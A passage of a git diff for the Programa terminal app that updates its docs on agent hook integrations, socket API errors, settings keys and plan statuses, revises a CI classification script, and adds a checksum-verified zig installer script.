replaced by `_`: +Each tool is named after the socket method it calls, with `.` replaced by `_`: `surface.read_text` becomes `surface_read_text`, `review.comment.add` becomes `review_comment_add`. diff --git a/docs/notifications.md b/docs/notifications.md index 9a53856c1..3fccd3313 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -89,11 +89,35 @@ programa notify --title "Claude Code" --subtitle "Permission" --body "Approval n programa notify --title "Done" --workspace workspace:1 --surface surface:2 ``` -## Integration Examples +## Agent integrations -### Claude Code +Claude Code, Codex and OpenCode report their status and notifications through hooks that +Programa installs for you. Run the one for your agent from any terminal: -See the [Claude Code documentation](https://docs.anthropic.com/en/docs/claude-code) for hook configuration. +```bash +programa claude install-integration +programa codex install-integration +programa opencode install-integration +``` + +Each command prints the exact changes and asks before applying them; `--yes` (or `-y`) +skips the prompt. They write: + +| Agent | Files | +|---|---| +| Claude Code | Hook entries in `~/.claude/settings.json` (or `$CLAUDE_CONFIG_DIR/settings.json`), and the `programa` skill in `~/.claude/skills/programa/SKILL.md`. | +| Codex | Hook entries in `~/.codex/hooks.json`, a `# BEGIN programa` ... `# END programa` block in `~/.codex/config.toml` that trusts those hooks, and the skill in `~/.agents/skills/programa/SKILL.md`. | +| OpenCode | The plugin `~/.config/opencode/plugins/programa.js` (or under `$OPENCODE_CONFIG_DIR`), and the skill in `~/.config/opencode/skills/programa/SKILL.md`. | + +Remove an integration with `programa claude uninstall-integration`, `programa codex +uninstall-integration` or `programa opencode uninstall-integration`; each removes only what +its installer wrote. Everything outside the managed entries stays as you left it, so do not +add your own lines inside the Codex `# BEGIN programa` block. + +The hooks fail open: when the agent runs outside Programa, or Programa is not reachable, +the hook answers the agent with its normal acknowledgement and the agent carries on. + +## Other agents ### GitHub Copilot CLI @@ -146,51 +170,6 @@ Or for repo-level hooks, create `.github/hooks/notify.json`: } ``` -### OpenAI Codex - -Add to `~/.codex/config.toml`: - -```toml -notify = ["bash", "-c", "command -v programa &>/dev/null && programa notify --title Codex --body \"$(echo $1 | jq -r '.\"last-assistant-message\" // \"Turn complete\"' 2>/dev/null | head -c 100)\" || osascript -e 'display notification \"Turn complete\" with title \"Codex\"'", "--"] -``` - -Or create a simple script `~/.local/bin/codex-notify.sh`: - -```bash -#!/bin/bash -MSG=$(echo "$1" | jq -r '."last-assistant-message" // "Turn complete"' 2>/dev/null | head -c 100) -command -v programa &>/dev/null && programa notify --title "Codex" --body "$MSG" || osascript -e "display notification \"$MSG\" with title \"Codex\"" -``` - -Then use: -```toml -notify = ["bash", "~/.local/bin/codex-notify.sh"] -``` - -### OpenCode Plugin - -Create `.opencode/plugins/programa-notify.js`: - -```javascript -export const ProgramaNotificationPlugin = async ({ $, }) => { - const notify = async (title, body) => { - try { - await $`command -v programa && programa notify --title ${title} --body ${body}`; - } catch { - await $`osascript -e ${"display notification \"" + body + "\" with title \"" + title + "\""}`; - } - }; - - return { - event: async ({ event }) => { - if (event.type === "session.idle") { - await notify("OpenCode", "Session idle"); - } - }, - }; -}; -``` - ## Environment Variables Programa sets these in child shells: diff --git a/docs/removed/browser-developer-tools.md b/docs/plans/browser-developer-tools.md similarity index 92% rename from docs/removed/browser-developer-tools.md rename to docs/plans/browser-developer-tools.md index 0f40ba0bc..005e840a2 100644 --- a/docs/removed/browser-developer-tools.md +++ b/docs/plans/browser-developer-tools.md @@ -1,9 +1,9 @@ # Browser developer tools and the hosted inspector dock -**Status: NOT removed.** This sub-feature was scoped for removal in the same pass as browser data -import, browser extensions, and React Grab, but the implementer stopped before touching it and is -reporting back instead of guessing. Nothing under this heading has been deleted; this doc records -why, so the next attempt does not repeat the discovery work. +**Status: kept.** This feature was scoped for removal in the 2026-09-02 reductive pass, together +with browser data import, browser extensions, and React Grab, and was not removed. Nothing under +this heading has been deleted; this doc records why, so a future removal does not repeat the +discovery work. ## What it does (still present) diff --git a/docs/plans/core-seam.md b/docs/plans/core-seam.md index 30deb61c4..a8a9fe2fd 100644 --- a/docs/plans/core-seam.md +++ b/docs/plans/core-seam.md @@ -1,6 +1,6 @@ # Core seam -Status: in progress, 2026-09-15. Motivation: `docs/plans/rust-core-spike.md` +Status: superseded. The Rust core is not part of the macOS app; `Sources/ProgramaCore.swift` is the only seam that remains. Started 2026-09-15. Motivation: `docs/plans/rust-core-spike.md` ("Reframe" section, and step 2 of its "Sequence") and `docs/removed/ssh-remote-workspaces.md` ("Why removed and what a future version should do differently") both land on the same conclusion — a future @@ -142,8 +142,8 @@ instead of a direct call) a drop-in swap later. talks over a Unix-domain socket to a *second* process — the escrow holder — today). Folding it into the seam now would just rename call sites without changing anything observable; the honest seam-worthy move - is `SessionSnapshotting`, which is what a UI-layer caller (`AppDelegate`, - `CLI/CLI+Snapshot.swift` if it exists) actually reaches for. + is `SessionSnapshotting`, which is what a UI-layer caller (`AppDelegate`) + actually reaches for. - **Why `SessionAutosaving` is not a singleton on `ProgramaCoreProviding`**: `SessionAutosaveCoordinator` is constructed once per `AppDelegate` instance with injected closures (`snapshotProvider`, `saveSnapshot`) that diff --git a/docs/plans/detached-sessions.md b/docs/plans/detached-sessions.md index 340f811bc..ade8dcaaa 100644 --- a/docs/plans/detached-sessions.md +++ b/docs/plans/detached-sessions.md @@ -1,7 +1,8 @@ # Detached Sessions / Process Survival Status: shipped in 0.3.0 (2026-07-24) as "Detached sessions". Modeled on herdr.dev's detached-session -UX. Companion doc to `docs/remote-daemon-spec.md` (SSH remote path) — this plan is the **local** +UX. Companion doc to `docs/remote-daemon-spec.md` (SSH remote path, removed with SSH remote +workspaces; read it with `git show 903027ccef:docs/remote-daemon-spec.md`). This plan is the **local** counterpart and explicitly reuses/extends that spec's `session.*` naming and resize semantics rather than inventing a parallel scheme. @@ -360,8 +361,8 @@ reduced scope. 2. **Ghostty submodule change**: add the externally-supplied-fd surface backend identified in Phase 0 step 2. Push to Darkroom fork per `CLAUDE.md`'s submodule workflow *before* bumping the parent pointer. -3. **Swift integration** (`Sources/TerminalSurface.swift`, new file - `Sources/TerminalSurface+DetachedSession.swift`): +3. **Swift integration** (`Sources/TerminalSurface.swift`; the separate + `TerminalSurface+DetachedSession.swift` this plan proposed was not created): - New per-surface opt-in flag (`keepAliveOnClose: Bool`), surfaced as a context-menu action ("Keep Running When Closed") on terminal panels — likely first exposed only for agent-detected surfaces (`AgentScreenDetectionEngine.swift` already classifies agent @@ -494,7 +495,7 @@ reattach" scope. - `daemon/remote/cmd/programad-remote/main_sessions.go`, `tmux_store.go`, `main.go`, `main_proxy.go` (existing Go daemon patterns to mirror for `daemon/local`) - `daemon/remote/README.md`, `docs/remote-daemon-spec.md` (prior-art spec and naming to align - with) + with; both removed, see `git show 903027ccef:docs/remote-daemon-spec.md`) - `docs/socket-api.md` (v2 socket method conventions, threading policy references) - `tests_v2/programa_client.py` and sibling `test_ssh_remote_*` files (test harness patterns to extend) - `CLAUDE.md` (root) — typing-latency pitfalls, submodule workflow, socket threading/focus diff --git a/docs/plans/diff-review-panel.md b/docs/plans/diff-review-panel.md index f588ca840..0e2b107bb 100644 --- a/docs/plans/diff-review-panel.md +++ b/docs/plans/diff-review-panel.md @@ -294,7 +294,7 @@ If per-language highlighting is wanted later (v1.1+), the two real options to ev ## 4. Data model and serialization format -### `ReviewComment` (new file, `Sources/Panels/ReviewComment.swift`) +### `ReviewComment` (`Sources/ReviewComment.swift`) ```swift struct ReviewComment: Identifiable, Codable, Equatable { diff --git a/docs/plans/native-frontends-shared-core-2026-09-16.md b/docs/plans/native-frontends-shared-core-2026-09-16.md index 9673faf7f..8c320e518 100644 --- a/docs/plans/native-frontends-shared-core-2026-09-16.md +++ b/docs/plans/native-frontends-shared-core-2026-09-16.md @@ -10,7 +10,7 @@ Dual-platform release contract ────────── native Windows EXE # Native frontends, shared behavior -Status: decided and in progress. The AppKit/SwiftUI app and the WinUI 3 app (`windows/`) both live in the tree; the shared core is extracted incrementally into `core/`. +Status: superseded. The shared core in `core/` serves the WinUI 3 app (`windows/`) only; the AppKit/SwiftUI app does not link it. See `core/ABI.md`. Decision: the user superseded the GPUI direction on September 16, 2026. Programa uses AppKit/SwiftUI on macOS and WinUI 3 on Windows. The shared core diff --git a/docs/plans/rust-core-concepts.md b/docs/plans/rust-core-concepts.md index 3bdc4a308..98571951d 100644 --- a/docs/plans/rust-core-concepts.md +++ b/docs/plans/rust-core-concepts.md @@ -401,7 +401,7 @@ from (`git checkout 903027ccef -- `) and a "what we learned" section (not - **`applescript.md`** — AppleScript support (`Sources/AppleScriptSupport.swift`, `Resources/programa.sdef`). - **`browser-data-import.md`** — browser data import wizard. -- **`browser-developer-tools.md`** — **not actually removed**; scoped for the same pass but the +- **`browser-developer-tools.md`** (in `docs/plans/`): **not actually removed**; scoped for the same pass but the implementer stopped and reported back instead of guessing. The hosted inspector dock is still live (`Sources/Panels/InspectorDock.swift`). - **`browser-extensions.md`** — browser extension support diff --git a/docs/plans/rust-core-spike.md b/docs/plans/rust-core-spike.md index 5d2c3db29..d088c190e 100644 --- a/docs/plans/rust-core-spike.md +++ b/docs/plans/rust-core-spike.md @@ -1,6 +1,6 @@ # Rust core spike: decide with numbers, not a rewrite -Status: spike complete, decision recorded (2026-09-15); reconciled with the Windows frontend that landed on main (2026-09-16) +Status: superseded. The Rust core serves the Windows app only and is not part of the macOS app (`core/ABI.md`). Spike recorded 2026-09-15. ## Question @@ -49,7 +49,7 @@ No fixes were applied in either pass because no hotspot existed. Conclusion: the Repo: `~/Developer/@darkroom/programa-spike` (5 commits, `cargo build --release` clean). Pinned: `gpui-kit 0.6.1` (which pulls `gpui-pre 0.3.5`, Longbridge's private republish of a Zed gpui snapshot; the `gpui` crate on crates.io is unrelated), `alacritty_terminal 0.26.0`. -Works: PTY-backed shells, canvas grid render with 256 and truecolor, cursor, keyboard including Ctrl and Alt-as-Meta, wheel scrollback, tabs with Cmd+T/W/1-9, recursively nested splits with Cmd+D and Cmd+Shift+D, click focus, reflow on resize. Screenshot in the spike repo at `docs/screenshot.png`. Cut: drag-resize of splits, dock panels, terminfo, IME, native menu, accessibility, any socket API. +Works: PTY-backed shells, canvas grid render with 256 and truecolor, cursor, keyboard including Ctrl and Alt-as-Meta, wheel scrollback, tabs with Cmd+T/W/1-9, recursively nested splits with Cmd+D and Cmd+Shift+D, click focus, reflow on resize. Screenshot in the spike repository (not this one) at `docs/screenshot.png`. Cut: drag-resize of splits, dock panels, terminfo, IME, native menu, accessibility, any socket API. | Metric | Programa (tagged Debug, today) | Spike (release) | Caveat | |---|---|---|---| diff --git a/docs/plans/settings-mcp-tools.md b/docs/plans/settings-mcp-tools.md index 261e82fed..bedd16da2 100644 --- a/docs/plans/settings-mcp-tools.md +++ b/docs/plans/settings-mcp-tools.md @@ -3,7 +3,7 @@ Status: planned, 2026-09-02. Scope: `settings.describe` / `settings.get` / `settings.set` socket methods, the matching `programa-mcp` tools and a schema resource, docs, and tests. No UI work. -Follow-up to `docs/plans/mcp-server.md`. +Follow-up to the MCP server (`docs/mcp-server.md`). ## Correction to the briefing diff --git a/docs/release.md b/docs/release.md index dc183b1d9..0f5f2cd0c 100644 --- a/docs/release.md +++ b/docs/release.md @@ -24,8 +24,9 @@ app. - **Candidates.** Each ship also seals a `rolling-candidate-` **draft** release that holds the versioned DMG and EXE and the dSYMs. Drafts are invisible on the public releases page and to `releases/latest`, so they never add a second entry. After the candidate's - assets are promoted into `rolling`, the reconciler deletes every older candidate draft and - keeps only the newest as a private rollback archive. Download it with + assets are promoted into `rolling`, the reconciler keeps the five newest candidate drafts + (`CANDIDATE_KEEP_COUNT` in `scripts/publish_rolling_release.sh`) as private rollback + archives and deletes the older ones. Download it with `gh release download rolling-candidate- --repo darkroomengineering/programa` (collaborator access required, because it is a draft). diff --git a/docs/removed/README.md b/docs/removed/README.md index 499fe615f..432a51897 100644 --- a/docs/removed/README.md +++ b/docs/removed/README.md @@ -10,7 +10,6 @@ Reductive pass of 2026-09-02, base commit 903027ccef. Core kept: the Ghostty ter | Mobile bridge, iOS companion, vendored iroh packages | [mobile-bridge-and-ios.md](mobile-bridge-and-ios.md) | 67,000 | | Browser data import wizard | [browser-data-import.md](browser-data-import.md) | 3,800 | | Browser extensions | [browser-extensions.md](browser-extensions.md) | 950 | -| Browser developer tools and inspector dock | [browser-developer-tools.md](browser-developer-tools.md) | deferred, not removed; the doc explains why | | Browser React Grab overlay | [browser-react-grab.md](browser-react-grab.md) | 470 | | AppleScript support | [applescript.md](applescript.md) | 720 | | Inline VS Code (serve-web) | [inline-vscode.md](inline-vscode.md) | 610 | diff --git a/docs/removed/ssh-remote-workspaces.md b/docs/removed/ssh-remote-workspaces.md index 5ea9552a9..a69cbbe77 100644 --- a/docs/removed/ssh-remote-workspaces.md +++ b/docs/removed/ssh-remote-workspaces.md @@ -38,7 +38,7 @@ Edited: ## What we learned -The living spec (`docs/remote-daemon-spec.md`) records the design decisions and the reasons behind them. +The spec (`docs/remote-daemon-spec.md`, read it with `git show 903027ccef:docs/remote-daemon-spec.md`) records the design decisions and the reasons behind them. Port mirroring was tried first and abandoned. The original design probed the remote host for listening ports and mirrored each one to local loopback with `ssh -L`. That was replaced by a single shared local proxy endpoint per SSH transport, brokered over the daemon's stdio RPC (`proxy.open/close/write/proxy.stream.subscribe` plus pushed `proxy.stream.*` events). Section 4.4 states the conclusion plainly: automatic mirroring of every remote listening port is an explicit non-goal. A re-implementation should start from one proxy endpoint per transport, not per port. diff --git a/docs/settings-json.md b/docs/settings-json.md index 923e3a150..ef8837caa 100644 --- a/docs/settings-json.md +++ b/docs/settings-json.md @@ -5,7 +5,7 @@ editable shortcuts under `windows.shortcuts` in `%USERPROFILE%\\.config\\programa\\settings.json`; see the [Windows configuration guide](../windows/README.md#windows-behavior). -Programa reads `~/.config/programa/settings.json` on launch and reloads it whenever the file changes, so edits apply without a restart. Every key here also has a control in the Settings window; a key set in the file wins over the Settings window until you remove it from the file. The file may contain `//` comments. The full contract is `Resources/settings.schema.json` in the repository. This page is maintained by hand, and `scripts/check-settings-docs.py` fails when a schema key is missing from it (or the reverse). +Programa reads `~/.config/programa/settings.json` on launch and reloads it whenever the file changes, so edits apply without a restart. Many keys also have a control in the Settings window; where one does, a key set in the file wins over it until you remove the key from the file. The file may contain `//` comments. The full contract is `Resources/settings.schema.json` in the repository. This page is maintained by hand, and `scripts/check-settings-docs.py` fails when a schema key is missing from it (or the reverse). Keys you do not set fall back to the defaults listed below. Keyboard shortcuts live under `shortcuts.bindings` and are documented in [keyboard-shortcuts.md](keyboard-shortcuts.md); terminal theme and font keys are explained in [terminal-themes.md](terminal-themes.md). @@ -16,10 +16,10 @@ General app preferences from Settings > App. | Key | Type | Default | What it does | |---|---|---|---| | `appearance` | string | `"system"` | App appearance mode. One of: `system`, `light`, `dark`. | -| `terminalTheme` | object | `null` | Terminal themes from Settings > Appearance. Use null, or null for both variants, to remove Programa's managed theme override and inherit Ghostty configuration. | -| `terminalOpacity` | object | `null` | Terminal background opacity from Settings > Appearance. Use null to remove Programa's managed override and inherit Ghostty configuration. | -| `terminalBlur` | object | `null` | Terminal background blur from Settings > Appearance. Use null to remove Programa's managed override and inherit Ghostty configuration. | -| `terminalFont` | object | `null` | Terminal font from Settings > Appearance. Use null to remove Programa's managed override and inherit Ghostty configuration. | +| `terminalTheme` | object or null | `null` | Terminal themes from Settings > Appearance. Use null, or null for both variants, to remove Programa's managed theme override and inherit Ghostty configuration. | +| `terminalOpacity` | number (0 to 1) or null | `null` | Terminal background opacity from Settings > Appearance. Use null to remove Programa's managed override and inherit Ghostty configuration. | +| `terminalBlur` | boolean or null | `null` | Terminal background blur from Settings > Appearance. Use null to remove Programa's managed override and inherit Ghostty configuration. | +| `terminalFont` | object (`family`, `size`) or null | `null` | Terminal font from Settings > Appearance. Use null to remove Programa's managed override and inherit Ghostty configuration. | | `newWorkspacePlacement` | string | `"afterCurrent"` | Where new workspaces are inserted in the sidebar. One of: `top`, `afterCurrent`, `end`. | | `minimalMode` | boolean | `false` | Hide the workspace title bar and move controls into the sidebar. | | `preferredEditor` | string | | Custom editor command used by Programa where applicable. Leave empty to use the default. | @@ -45,8 +45,8 @@ Workspace tab and badge colors from Settings > Workspace Colors. | Key | Type | Default | What it does | |---|---|---|---| | `indicatorStyle` | string | `"leftRail"` | Active workspace indicator style. Legacy aliases are accepted and normalized. One of: `leftRail`, `solidFill`, `rail`, `border`, `wash`, `lift`, `typography`, `washRail`, `blueWashColorRail`. | -| `selectionColor` | object | `null` | Override the selected workspace background color. | -| `notificationBadgeColor` | object | `null` | Override the unread notification badge color. | +| `selectionColor` | string (`"#RRGGBB"`) or null | `null` | Override the selected workspace background color. | +| `notificationBadgeColor` | string (`"#RRGGBB"`) or null | `null` | Override the unread notification badge color. | | `colors` | object | `{"Red": "#C0392B", "Crimson": "#922B21", "Orange": "#A04000", "Amber": "#7D6608", "Olive": "#4A5C18", "Green": "#196F3D", "Teal": "#006B6B", "Aqua": "#0E6B8C", "Blue": "#1565C0", "Navy": "#1A5276", "Indigo": "#283593", "Purple": "#6A1B9A", "Magenta": "#AD1457", "Rose": "#880E4F", "Brown": "#7B3F00", "Charcoal": "#3E4B5E"}` | Full named workspace color palette. Include built-in entries you want to keep, remove keys to remove colors, and add more named entries to extend the picker. | ## `sidebarAppearance` @@ -56,9 +56,9 @@ Sidebar tint settings from Settings > Sidebar Appearance. | Key | Type | Default | What it does | |---|---|---|---| | `matchTerminalBackground` | boolean | `false` | Use the terminal background instead of the sidebar tint. | -| `tintColor` | object | `"#000000"` | Base sidebar tint color used when light/dark overrides are not set. | -| `lightModeTintColor` | object | `null` | Sidebar tint override for light appearance. | -| `darkModeTintColor` | object | `null` | Sidebar tint override for dark appearance. | +| `tintColor` | string (`"#RRGGBB"`) | `"#000000"` | Base sidebar tint color used when light/dark overrides are not set. | +| `lightModeTintColor` | string (`"#RRGGBB"`) or null | `null` | Sidebar tint override for light appearance. | +| `darkModeTintColor` | string (`"#RRGGBB"`) or null | `null` | Sidebar tint override for dark appearance. | | `tintOpacity` | number | `0.03` | Sidebar tint opacity from 0 to 1. | | `showClaudeQuota` | boolean | `true` | Show Claude Code rate-limit headroom (5h/7d windows) in the sidebar footer, read from ~/.claude/tmp/rate-limits.json when present. | diff --git a/docs/socket-api.md b/docs/socket-api.md index 7d2d68c82..8c6996015 100644 --- a/docs/socket-api.md +++ b/docs/socket-api.md @@ -149,10 +149,15 @@ A client authenticates once per connection: ``` Until it succeeds, every other method returns `auth_required`. A wrong password returns -`auth_failed` and a missing one returns `invalid_params`. Changing the password in Settings +`auth_failed` and a missing one returns `invalid_params`. After five failed `auth.login` +attempts the server closes the connection. Changing the password in Settings invalidates existing authenticated connections. Outside password mode, `auth.login` succeeds with `"required": false` and nothing else is needed. +Password mode keeps out processes that do not know the password. It is not a boundary against +other processes of the same macOS user: they can read the password file or the environment of +a process that has the password, so treat any same-user process as able to connect. + ### Error codes An error response is `{"id":..., "ok": false, "error": {"code": "...", "message": "..."}}`, @@ -167,13 +172,20 @@ with an optional `data` field. Codes that any method can return: | `auth_required` | The socket is in password mode and this connection has not sent a successful `auth.login`. | | `auth_failed` | `auth.login` had the wrong password. | | `invalid_params` | A required parameter was missing or had the wrong type. | -| `not_found` | A referenced window, workspace, pane, surface or similar object does not exist. | -| `unavailable` | The app or a required subsystem cannot handle the request right now. | +| `not_found` | A referenced window, workspace, pane, surface or similar object does not exist, including a well-formed ref (`workspace:7`) or UUID that matches nothing. A malformed value is `invalid_params`. | +| `unavailable` | The app or a required subsystem cannot handle the request right now. Never used for a reference that does not resolve. | | `internal_error` | An unexpected server-side failure. | | `encode_error` | The server could not encode its own response. | Individual methods add their own codes (for example `invalid_state`, `not_supported`, `timeout`, `layout_not_found`, `worktree_dirty`). The full list per method is in `contracts/v2/methods.json`. +Two that scripts commonly meet: + +- `limit_reached`: `surface.split` and `pane.create` on a workspace that already has four panes. + The message is "Workspace already has the maximum of 4 panes" and `data` is + `{"max_panes": 4}`. The check runs before anything is created. +- `invalid_state`: `workspace.close` on a window's last workspace. Close the window with + `window.close` instead. ### Units @@ -358,7 +370,7 @@ Request params (exactly one of `pattern` / `exit` / `agent_state` is required): | `pattern` | string | one of `pattern`/`exit`/`agent_state` | Regex (ICU/`NSRegularExpression` syntax) matched against the surface's current text (screen + scrollback) on every check. | | `exit` | bool | one of `pattern`/`exit`/`agent_state` | Wait for the surface's child process to exit. | | `agent_state` | string | one of `pattern`/`exit`/`agent_state` | Wait for the surface's #164 agent activity state to reach `idle`, `working`, `blocked`, or transition at all (`any_change`). | -| `timeout_ms` | int | no | Default `30000`. Also accepts `timeout` (same units) for convenience. | +| `timeout_ms` | int | no | Default `30000`, at most `3600000` (one hour). Also accepts `timeout` (same units) for convenience. | | `lines` | int | no | Caps how many trailing lines of scrollback `pattern` rereads per check (default `2000`); does not apply to `exit`/`agent_state`. | Response (`ok: true`): @@ -392,9 +404,12 @@ Response (`ok: true`): hook has ever reported for it. Manifest schema/authoring guidance for the `"inferred"` tier: `docs/agent-detection-manifests.md`. - Timeout: `{"ok": false, "error": {"code": "timeout", "message": "...", "data": {"timeout_ms": N}}}`. -- If the target surface doesn't exist (or, for `pattern`/`agent_state`, is closed while the wait - is in flight), the response is `not_found`, not a timeout — callers shouldn't have to wait out - the full timeout to learn the surface is gone. +- If the target surface does not exist when the call arrives, the response is `not_found`. +- If the surface closes while the wait is in flight, the wait resolves at once with + `ok: true` and `"outcome": "closed"`, so callers never wait out the full timeout to learn the + surface is gone. +- `exit` on a browser surface returns `invalid_params` immediately: a browser has no child + process to exit. ### `agent_state` condition values and the no-state rule @@ -435,6 +450,12 @@ does for child-exit) at a fixed ~100ms interval on the connection's own thread; `TerminalController+Telemetry.swift`'s `v2SurfaceReportAgentState`/`v2SurfaceClearAgentState` via `DispatchQueue.main.async`). +## Text delivery: `queued` + +`surface.send_text` and `agent.prompt` include `"queued": true` in the result when the target +terminal was not attached yet and the text went to its pending queue; it is delivered once the +terminal attaches. The field is absent or `false` when the text was written directly. + ## `agent.prompt` (#166) Submit a prompt to an agent surface and wait for it to finish, in one request — built on @@ -791,6 +812,21 @@ updates `AgentSupervisionRegistry` in the same handler call. Existing methods hook configuration on user machines doesn't need reinstalling to pick it up. Errors: `invalid_params`, `not_found`. +## Workspace `agent_state` and `helper_outcomes` + +`workspace.list` and `system.tree` entries carry an aggregate `agent_state` of `idle`, +`working` or `blocked`. It combines hook-reported and inferred surface states with helpers that +have not finished yet; a finished helper does not hold it at failed or completed. Finished +helpers are counted in `helper_outcomes`, for example +`{"failed": 1, "completed": 2, "cancelled": 0}`. + +## Browser cookies (`browser.cookies.get`, `browser.cookies.clear`) + +Both methods act on the current page's site by default. `all_domains: true` widens them to every +site. `domain` matches the exact host or a subdomain of it: `example.com` matches +`a.example.com` but not `notexample.com`. `path` filters by cookie path. `browser.cookies.clear` +with no filter clears the current site's cookies only. + ## Browser Availability (`app.browsers`, `PROGRAMA_DEFAULT_BROWSER*`) Two ways a terminal or agent can check which browsers are available, so scripts don't have @@ -844,8 +880,7 @@ it's DEBUG-only. `contracts/v2/protocol.json` covers the wire framing (JSON line `scripts/check-v2-contract.sh` regenerates into a temp dir and diffs against the checked-in copies; it runs in CI (`workflow-guard-tests`) and fails the build on any drift. `tests_v2/test_v2_contract_matches_capabilities.py` checks the same thing at runtime, against -a live `system.capabilities` response, and `programaTests/V2CommandCatalogContractTests.swift` -checks the compiled `V2CommandCatalog` arrays against the contract directly. +a live `system.capabilities` response. **The rule this exists to enforce: a v2 handler's params, result shape, or error codes change only after `contracts/v2/methods.json` changes first**, then regenerate diff --git a/docs/testing-layout.md b/docs/testing-layout.md index a8df9f6f1..9c2a7b03a 100644 --- a/docs/testing-layout.md +++ b/docs/testing-layout.md @@ -26,7 +26,7 @@ creation, and release assets. The four python files here (`test_cli_*.py`) drive as a subprocess through `PROGRAMA_CLI_BIN`. **`tests_v2/`** — the thing under test is app behaviour you can observe over the -socket. Everything here talks to a live instance, whether through `programa.py` or +socket. Everything here talks to a live instance, whether through `tests_v2/programa_client.py` or by speaking JSON-RPC directly. The lag/perf/CPU harnesses live here for that reason. See `docs/cpu-harness.md` for the CPU measurement harness specifically. @@ -55,14 +55,3 @@ host can still create windows, start shells, and mutate its own preferences. `tests_v2` in particular will attach to whatever socket it finds, which is why running it locally risks driving your real Programa instance rather than a build under test. - -## Display resolution churn regression (`programaUITests`) - -`DisplayResolutionRegressionUITests.testRapidDisplayResolutionChangesKeepTerminalResponsive` -churns a virtual display through four resolutions while the app's window sits on it, and asserts -the terminal keeps presenting frames. The churn step attaches to the job's persistent virtual -display (`--attach-id`) rather than creating a second `CGVirtualDisplay`, because a headless CI -session reliably holds only one. On `macos-26` runners AppKit can move the window off the virtual -display once its mode starts changing, so the step reads the launch diagnostics and self-skips -(exit 0) when `targetDisplayMoveSucceeded` never reaches `"1"`. When placement works, the step -runs the regression and a real rendering failure still fails the job. diff --git a/docs/windows-testing.md b/docs/windows-testing.md index b417cdba2..b8b8c6d3e 100644 --- a/docs/windows-testing.md +++ b/docs/windows-testing.md @@ -93,5 +93,5 @@ loading of both native libraries. The stable and build-numbered EXEs in a build The EXE is unsigned; no Windows publisher-signing certificate is configured. No CI job launches the desktop UI. GPU rendering, drag behavior, IME, Narrator, and clean-machine -deployment need the interactive checks above. Full macOS feature parity and migration of macOS -workspace and session lifecycle into the shared core remain incomplete. +deployment need the interactive checks above. Full macOS feature parity remains incomplete; the +macOS app does not use the shared core. diff --git a/scripts/classify_ci_changes.sh b/scripts/classify_ci_changes.sh index 50d305802..2d3b2c19c 100755 --- a/scripts/classify_ci_changes.sh +++ b/scripts/classify_ci_changes.sh @@ -9,8 +9,12 @@ while IFS= read -r path || [[ -n "$path" ]]; do SAW_CHANGED_PATH=true case "$path" in - # Localization-only resource edits are scoped out per request - Resources/*.xcstrings|Resources/*/*.xcstrings|Resources/*.strings|Resources/*/*.strings) + # String catalogs compile into the app, so a malformed catalog must build. + Resources/*.xcstrings|Resources/*/*.xcstrings) + RUN_APP_JOBS=true + ;; + # Legacy .strings resources are scoped out per request + Resources/*.strings|Resources/*/*.strings) continue ;; # Explicitly skip doc-only translation assets @@ -25,7 +29,12 @@ while IFS= read -r path || [[ -n "$path" ]]; do *.md|docs/*|plans/*|AGENTS.md|CHANGELOG.md|TODO.md|README.md|LICENSE*|THIRD_PARTY_LICENSES.md|.editorconfig|.gitattributes|.gitignore|*.png|*.jpg|*.jpeg|*.gif|*.webp|*.svg) continue ;; - # Repository metadata / workflow-only edits are not app/runtime changes + # The main CI workflow runs the jobs it defines, so an edit to it must + # exercise them instead of merging unrun. + .github/workflows/ci.yml) + RUN_APP_JOBS=true + ;; + # Other repository metadata / workflow edits are not app/runtime changes .github/*) continue ;; diff --git a/scripts/install-zig.sh b/scripts/install-zig.sh new file mode 100755 index 000000000..541c6da3b --- /dev/null +++ b/scripts/install-zig.sh @@ -0,0 +1,113 @@ +#!/usr/bin/env bash +# Installs the zig version Ghostty requires (scripts/required-zig-version.sh) on a +# macOS arm64 machine, for CI and release jobs. +# +# The tarball is checked against the pinned SHA-256 in +# scripts/zig-macos-aarch64.sha256 before it is extracted, every time, including +# when it comes from a CI cache. Unlisted versions fail closed. +# +# Usage: scripts/install-zig.sh [--bin-dir DIR] +# +# --bin-dir DIR Directory that receives the `zig` symlink (default /usr/local/bin). +# +# Environment: +# ZIG_DIST_CACHE_DIR Where the verified tarball is kept, so CI can cache it +# (default ~/.cache/programa-zig-dist). +# ZIG_INSTALL_ROOT Where the tarball is extracted +# (default ~/.local/share/programa-zig). +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd -P)" +BIN_DIR="/usr/local/bin" + +while [[ $# -gt 0 ]]; do + case "$1" in + --bin-dir) + BIN_DIR="${2:-}" + shift 2 + ;; + -h|--help) + sed -n '2,17p' "$0" + exit 0 + ;; + *) + echo "install-zig: unknown option: $1" >&2 + exit 1 + ;; + esac +done + +if [[ -z "$BIN_DIR" ]]; then + echo "install-zig: --bin-dir needs a directory" >&2 + exit 1 +fi + +ZIG_REQUIRED="$("$SCRIPT_DIR/required-zig-version.sh")" + +if command -v zig >/dev/null 2>&1 && [[ "$(zig version 2>/dev/null)" == "$ZIG_REQUIRED" ]]; then + echo "zig ${ZIG_REQUIRED} already installed at $(command -v zig)" + exit 0 +fi + +if [[ "$(uname -s)" != "Darwin" || "$(uname -m)" != "arm64" ]]; then + echo "install-zig: only macOS arm64 has a pinned checksum (got $(uname -s) $(uname -m))" >&2 + exit 1 +fi + +EXPECTED_SHA256="$(awk -v v="$ZIG_REQUIRED" '$1 == v { print $2 }' "$SCRIPT_DIR/zig-macos-aarch64.sha256")" +if [[ -z "$EXPECTED_SHA256" ]]; then + echo "install-zig: no checked-in SHA-256 for zig ${ZIG_REQUIRED}; add it to scripts/zig-macos-aarch64.sha256" >&2 + exit 1 +fi + +NAME="zig-aarch64-macos-${ZIG_REQUIRED}" +DIST_DIR="${ZIG_DIST_CACHE_DIR:-$HOME/.cache/programa-zig-dist}" +INSTALL_ROOT="${ZIG_INSTALL_ROOT:-$HOME/.local/share/programa-zig}" +TARBALL="$DIST_DIR/$NAME.tar.xz" + +sha256_matches() { + [[ "$(shasum -a 256 "$1" | awk '{ print $1 }')" == "$EXPECTED_SHA256" ]] +} + +mkdir -p "$DIST_DIR" "$INSTALL_ROOT" + +if [[ -f "$TARBALL" ]] && sha256_matches "$TARBALL"; then + echo "Using cached zig ${ZIG_REQUIRED} tarball (SHA-256 verified)" +else + rm -f "$TARBALL" + PARTIAL="$(mktemp "$DIST_DIR/.${NAME}.XXXXXX")" + trap 'rm -f "$PARTIAL"' EXIT + echo "Downloading zig 